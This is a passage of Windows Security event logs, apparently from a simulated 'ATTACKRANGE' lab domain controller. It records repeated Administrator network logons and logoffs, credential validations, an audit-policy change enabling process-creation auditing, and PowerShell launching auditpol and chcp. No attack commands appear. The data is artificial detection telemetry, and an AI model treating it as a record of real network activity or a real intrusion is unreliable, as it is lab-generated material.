-Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39AC6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245888 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39AC6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245887 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245886 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245885 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39863 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245884 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39863 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245883 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:24 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245882 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245918 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BBE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245917 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39863 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245916 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39AC6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245915 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BBE1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245914 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BBE1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245913 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245912 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245911 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BBB0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245910 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BBB0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245909 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BBB0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245908 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245907 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245906 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3B84F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245905 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3B004 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=245904 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39CFE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245903 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39863 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd68 - New Process Name: C:\Windows\System32\auditpol.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc64 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: auditpol /get /r /subcategory:"Process Creation" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4719 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=245902 -Keywords=Audit Success -Message=System audit policy was changed. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x39863 - -Audit Policy Change: - Category: Detailed Tracking - Subcategory: Process Creation - Subcategory GUID: {0CCE922B-69AE-11D9-BED3-505054503030} - Changes: Success Added, Failure added -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245901 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3B84F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245900 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3B84F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245899 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:25 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245898 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245940 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3D8BF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245939 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3D8BF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245938 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245937 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:39:26 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245936 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x3BE34 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfac - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token 